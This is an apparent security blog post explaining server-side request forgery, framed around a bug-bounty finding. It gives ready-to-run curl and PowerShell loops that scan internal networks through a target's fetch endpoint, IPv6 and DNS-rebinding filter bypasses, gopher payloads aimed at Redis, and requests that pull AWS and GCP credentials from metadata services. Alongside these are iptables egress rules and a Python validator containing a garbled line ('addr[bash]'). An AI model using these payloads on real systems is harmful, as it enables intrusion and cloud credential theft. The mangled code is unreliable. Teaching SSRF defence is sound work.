Listen to this Post

Introduction:
Server-Side Request Forgery (SSRF) remains one of the most critical and misunderstood vulnerabilities in modern web applications. When a server-side feature fetches user-supplied URLs without proper validation, attackers can pivot from external reconnaissance to internal network exploitation in seconds. As Riya Nair’s recent bug bounty discovery demonstrates, the difference between a theoretical SSRF and a weaponizable one lies in the ability to prove internal reachability through distinguishable response patterns.
Learning Objectives:
- Understand how SSRF vulnerabilities manifest in customer-configurable outbound request features
- Learn to differentiate between blind SSRF and full-response-disclosure SSRF
- Master internal network probing techniques using IP ranges and response differentials
- Implement defense-in-depth egress filtering and allowlist hardening strategies
- Apply DNS rebinding and IPv6 transition address bypass techniques in controlled testing
You Should Know:
- The “Outbound Request” Feature: A Wolf in Sheep’s Clothing
Any feature that fetches a URL on the server’s behalf—webhooks, API integrations, image scrapers, PDF generators, or health-check endpoints—represents an SSRF attack surface. In Riya Nair’s case, a customer-configurable “outbound request” feature was fetching URLs server-side with zero validation on the destination. By pointing the feature at internal-only address ranges instead of public internet destinations, the researcher received distinguishable responses for each probe—proof that requests were actually landing where they shouldn’t.
Step-by-Step SSRF Probing:
Step 1: Identify SSRF-prone endpoints. Look for parameters like url=, webhook=, callback=, fetch=, proxy=, dest=, or redirect=. Use Burp Suite or OWASP ZAP to spider the application and flag these parameters.
Step 2: Establish a baseline. Send a request to a public, controllable endpoint (e.g., your Burp Collaborator or Interactsh server) and confirm the server makes the outbound request.
Step 3: Probe internal IP ranges. Use Burp Intruder or a custom script to iterate through RFC 1918 private ranges:
Linux - Basic SSRF probe using curl
for ip in 10.0.0.{1..255} 172.16.0.{1..255} 192.168.0.{1..255}; do
curl -s -o /dev/null -w "%{http_code} %{url_effective}\n" "https://target.com/fetch?url=http://$ip:80"
done
Windows PowerShell equivalent
1..255 | ForEach-Object {
$ip = "10.0.0.$_";
try {
$response = Invoke-WebRequest -Uri "https://target.com/fetch?url=http://$ip:80" -UseBasicParsing;
Write-Host "$ip : $($response.StatusCode)"
} catch { Write-Host "$ip : Error" }
}
Step 4: Analyze response differentials. Compare status codes, response times, error messages, and response bodies. If internal IPs return different responses than public IPs, you have confirmed SSRF.
Step 5: Enumerate internal services. Once SSRF is confirmed, probe for known internal services:
Probe common internal services for port in 22 80 443 3306 5432 6379 9200 27017; do curl -s "https://target.com/fetch?url=http://169.254.169.254:$port" 2>/dev/null | head -20 done
- The IPv6 Blind Spot: Why RFC 1918 Blocking Is Not Enough
Many SSRF mitigations block IPv4 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and loopback addresses. However, attackers can bypass these protections using IPv6 private address ranges (ULA – Unique Local Addresses), IPv6 transition mechanisms, or cloud metadata endpoints.
Critical IPv6 SSRF Vectors:
- IPv6 ULA (fc00::/7): Internal IPv6 addresses not blocked by RFC 1918 filters
- NAT64 (64:ff9b::/96): Wraps IPv4 addresses in IPv6 format, bypassing IPv4 filters
- 6to4 (2002::/16): Encapsulates IPv4 in IPv6, evading naive validators
- IPv4-mapped addresses (::ffff:0:0/96): Represents IPv4 as IPv6
Testing IPv6 SSRF Bypasses:
Test IPv6 ULA - replace with actual target curl "https://target.com/fetch?url=http://[fc00::1]:80" Test NAT64 wrapper of 127.0.0.1 curl "https://target.com/fetch?url=http://[64:ff9b::7f00:1]:80" Test 6to4 wrapper of 192.168.1.1 (2002:c0a8:0101::) curl "https://target.com/fetch?url=http://[2002:c0a8:0101::]:80" Test IPv4-mapped loopback curl "https://target.com/fetch?url=http://[::ffff:127.0.0.1]:80"
Cloud Metadata Endpoints (critical SSRF targets):
| Cloud Provider | Metadata Endpoint |
|-|-|
| AWS | http://169.254.169.254/latest/meta-data/ |
| AWS (IPv6) | http://[fd00:ec2::254]/latest/meta-data/ |
| Azure | http://168.63.129.16/metadata/instance |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
AWS IMDSv1 - still widely supported curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" AWS IMDSv2 - requires token header curl -X PUT "https://target.com/fetch?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
3. DNS Rebinding: The Time-of-Check vs. Time-of-Use Attack
DNS rebinding exploits the gap between when an application validates a domain name and when it actually resolves and connects to the IP address. An attacker can register a domain that resolves to a safe IP during validation but switches to an internal IP when the server makes the actual request.
DNS Rebinding Step-by-Step:
Step 1: Register a domain with a short TTL (e.g., 5 seconds).
Step 2: Configure the domain to resolve to a public IP (e.g., 1.2.3.4) during validation.
Step 3: After validation passes, change the DNS record to resolve to an internal IP (e.g., 127.0.0.1 or 169.254.169.254).
Step 4: Trigger the server-side request—the server resolves the domain again and connects to the internal IP.
Testing for DNS Rebinding:
Use a tool like rebind.network or create your own Example: Point your domain to 1.2.3.4 first, then switch to 127.0.0.1 Test with curl using a resolver that respects short TTLs curl --dns-servers 8.8.8.8 "https://target.com/fetch?url=http://your-rebinding-domain.com:80"
Mitigation: Re-resolve and re-validate the IP address at the time of the actual connection, not just during initial validation.
4. Egress Filtering: The First Line of Defense
The most effective SSRF mitigation is network-level egress filtering. User-facing services should never be allowed to initiate connections to internal networks unless absolutely necessary.
Implementing Egress Filtering:
Step 1: Identify all outbound destinations your application legitimately needs. Create a comprehensive allowlist of domains, IP ranges, and ports.
Step 2: Implement egress filtering at multiple layers:
- Network layer: Configure firewall rules (iptables, AWS Security Groups, Azure NSGs) to block outbound traffic to RFC 1918, loopback, and link-local ranges.
- Application layer: Use a dedicated outbound proxy with allowlist validation.
- Code layer: Implement URL validation functions that reject internal IPs.
Linux iptables Egress Rules:
Block outbound to RFC 1918 private ranges iptables -A OUTPUT -d 10.0.0.0/8 -j DROP iptables -A OUTPUT -d 172.16.0.0/12 -j DROP iptables -A OUTPUT -d 192.168.0.0/16 -j DROP Block outbound to loopback (except local communication) iptables -A OUTPUT -d 127.0.0.0/8 -j DROP Block outbound to link-local iptables -A OUTPUT -d 169.254.0.0/16 -j DROP Block outbound to cloud metadata iptables -A OUTPUT -d 169.254.169.254 -j DROP
Application-Level URL Validation (Python Example):
import ipaddress
import urllib.parse
def validate_url_safety(url):
"""SSRF-safe URL validation with re-resolution at call time"""
parsed = urllib.parse.urlparse(url)
Protocol allowlist
if parsed.scheme not in ['http', 'https']:
raise ValueError("Only HTTP/HTTPS allowed")
Resolve hostname to IPs
try:
import socket
ips = socket.getaddrinfo(parsed.hostname, None)
except:
raise ValueError("Invalid hostname")
Check each resolved IP
for family, _, _, _, addr in ips:
ip = addr[bash]
ip_obj = ipaddress.ip_address(ip)
Block private, loopback, link-local, and multicast
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_multicast:
raise ValueError(f"Internal IP blocked: {ip}")
return True
- Advanced SSRF Exploitation: From Port Scanning to Protocol Abuse
Once SSRF is confirmed, attackers can escalate the impact significantly:
Internal Port Scanning: Use timing differences or response codes to map internal services:
Time-based port scanning via SSRF for port in 21 22 23 25 80 443 445 3306 5432 6379 9200 27017; do time curl -s "https://target.com/fetch?url=http://10.0.0.1:$port" -o /dev/null done
Protocol Abuse: SSRF isn’t limited to HTTP. Attackers can use gopher://, dict://, `ftp://`, or `ldap://` protocols to interact with internal services:
Gopher protocol for Redis interaction curl "https://target.com/fetch?url=gopher://127.0.0.1:6379/_2%0d%0a$4%0d%0aINFO%0d%0a" Dict protocol for service banner grabbing curl "https://target.com/fetch?url=dict://127.0.0.1:3306/info"
Cloud Metadata Exfiltration: The crown jewel of SSRF exploitation—retrieving cloud credentials:
AWS IAM credentials curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role" GCP service account token curl "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
What Riya Nair Says:
- “Any feature that fetches a URL on the server’s behalf is a feature that needs egress filtering. Every time.” This underscores the fundamental security principle: never trust user-supplied URLs without server-side validation at the network layer.
-
“Got back different, distinguishable responses for each one—proof the requests were actually landing somewhere they shouldn’t.” Response differentials are the key to turning a theoretical vulnerability into a reportable finding. Without proof of internal reachability, SSRF reports often get dismissed as “informational”.
-
The distinction between “blind” SSRF (where no response is returned) and “full-read” SSRF (where the internal response is disclosed) is critical. Full-read SSRF with response exfiltration is almost always rated Critical.
-
Modern SSRF defenses must account for IPv6 transition addresses, DNS rebinding, and protocol-level abuse—not just RFC 1918 IPv4 blocking.
Prediction:
-
+1 SSRF will remain a top-three OWASP risk for the next 3–5 years as organizations continue building API-first architectures with outbound integrations.
-
-1 The rise of AI-powered applications that fetch external URLs for training data will exponentially increase the SSRF attack surface, as many AI developers prioritize functionality over security.
-
+1 Cloud providers are gradually deprecating IMDSv1 in favor of IMDSv2 with token-based authentication, reducing the impact of SSRF on AWS environments.
-
-1 IPv6 adoption will introduce a new wave of SSRF vulnerabilities as security teams fail to update their IP filtering logic to cover IPv6 private ranges and transition mechanisms.
-
+1 Automated SSRF detection tools like SSRFKiller and Burp Suite extensions will become standard in every penetration tester’s toolkit.
-
-1 The average time from SSRF discovery to exploitation in the wild will shrink from weeks to hours as offensive security researchers continue sharing novel bypass techniques.
-
+1 Organizations that implement defense-in-depth egress filtering—network firewalls, application-layer validation, and outbound proxies—will successfully mitigate 90%+ of SSRF attacks.
▶️ Related Video (86% Match):
https://www.youtube.com/watch?v=1w9KwoEHeyU
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Riya Nair – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


